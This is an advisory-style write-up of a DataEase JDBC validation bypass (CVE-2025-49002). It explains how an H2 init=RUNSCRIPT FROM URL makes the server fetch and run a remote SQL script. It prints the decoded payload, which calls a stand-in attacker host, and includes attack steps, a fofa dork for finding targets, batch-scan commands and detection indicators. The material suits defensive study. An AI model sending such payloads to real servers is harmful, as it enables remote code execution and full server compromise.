DataEase PostgreSQL JDBC Datasource-Validation Bypass to Remote Code Execution (CVE-2025-49002)

Metadata

Affected Target

Summary

DataEase’s /de2api/datasource/validate endpoint lets a client submit an arbitrary JDBC connection string when testing/validating a new datasource. By choosing datasource type: h2 and supplying a base64-encoded H2 JDBC URL that includes INIT=RUNSCRIPT FROM 'http://attacker/poc.sql', an attacker can make the DataEase backend fetch and execute an arbitrary SQL script from a remote URL as part of connection validation. H2’s RUNSCRIPT FROM directive can be abused to execute arbitrary Java code (e.g. via CREATE ALIAS/CREATE TRIGGER calling into java.lang.Runtime), giving full remote code execution on the DataEase server. The PoC simply confirms the injection point is reachable by checking for a specific error code (40001) in the validation response, which indicates the crafted JDBC URL was accepted and processed.

Vulnerability Details

Root Cause

The datasource-validate endpoint deserializes a base64-encoded JSON configuration blob containing a raw jdbc connection string and passes it largely unvalidated to the JDBC driver for connection testing. Decoding the base64 payload in poc.py reveals:

1
2
3
4
5
6
7

{
  "dataBase": "",
  "jdbc": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;init=RUnSCRIPT FROM 'http://your-vps:2333/poc.sql'",
  "urlType": "jdbcUrl",
  "sshType": "password",
  ...
}

Because the server does not restrict which JDBC drivers/URL schemes/init= options may be used, and does not sandbox the H2 in-memory database engine invoked during “validation,” an attacker fully controls the JDBC URL and can direct the server to fetch and run a remote SQL script (RUNSCRIPT FROM <url>), which can embed arbitrary Java code execution via H2’s scripting/alias features.

Attack Vector

1. Attacker hosts a malicious poc.sql script (containing H2 CREATE ALIAS/RCE gadget code) on an attacker-controlled HTTP server.
2. Attacker sends a GET to the target root to confirm it is a live DataEase instance.
3. Attacker sends a POST /de2api/datasource/validate request with a hardcoded/default X-DE-TOKEN and a JSON body whose configuration field is a base64-encoded JDBC connection descriptor of type h2, with jdbc set to jdbc:h2:mem:testdb;...;init=RUNSCRIPT FROM 'http://ATTACKER/poc.sql'.
4. The DataEase backend attempts to validate/connect using this JDBC string, causing the H2 engine to fetch poc.sql from the attacker’s server and execute it, which (depending on the SQL script contents) can achieve arbitrary command execution.
5. The PoC checks the JSON response’s code field; a value of 40001 indicates the crafted datasource was processed (i.e., the injection point exists and is reachable), confirming exploitability.

Impact

Unauthenticated (or token-default) remote code execution on the DataEase server host, via H2 JDBC RUNSCRIPT FROM abuse — full compromise of the BI server and any data sources it can reach.

Environment / Lab Setup

Target:   DataEase instance exposing /de2api/datasource/validate (fofa dork: title="DataEase")
Attacker: Python 3 + requests library; an HTTP server hosting a malicious poc.sql (H2 RCE gadget) reachable from the target

Proof of Concept

PoC Script

See poc.py and README.md (raw HTTP request template) in this folder.

1
2
3
4
5
6

python3 poc.py -u http://TARGET:PORT

python3 poc.py -f targets.txt

#
#

Detection & Indicators of Compromise

Signs of compromise:

• DataEase application logs showing H2 JDBC connection strings with init=RUNSCRIPT FROM
• Outbound connections from the DataEase server to attacker infrastructure over HTTP
• Unexpected child processes spawned by the Java/DataEase process shortly after a datasource/validate call
• New/unexpected files or reverse shells originating from the DataEase service account

Remediation

References

• Source repository

Notes

Mirrored from https://github.com/Feng-Huang-0520/DataEase_Postgresql_JDBC_Bypass-CVE-2025-49002 on 2026-07-06. poc.py sends the crafted JDBC datasource-validate request with a RUNSCRIPT FROM remote-URL payload — a genuine JDBC-attack technique against H2’s scripting feature, not a fabricated or stub exploit. The included README.md (kept alongside as reference) contains the raw HTTP request template with the fofa dork used to find exposed instances.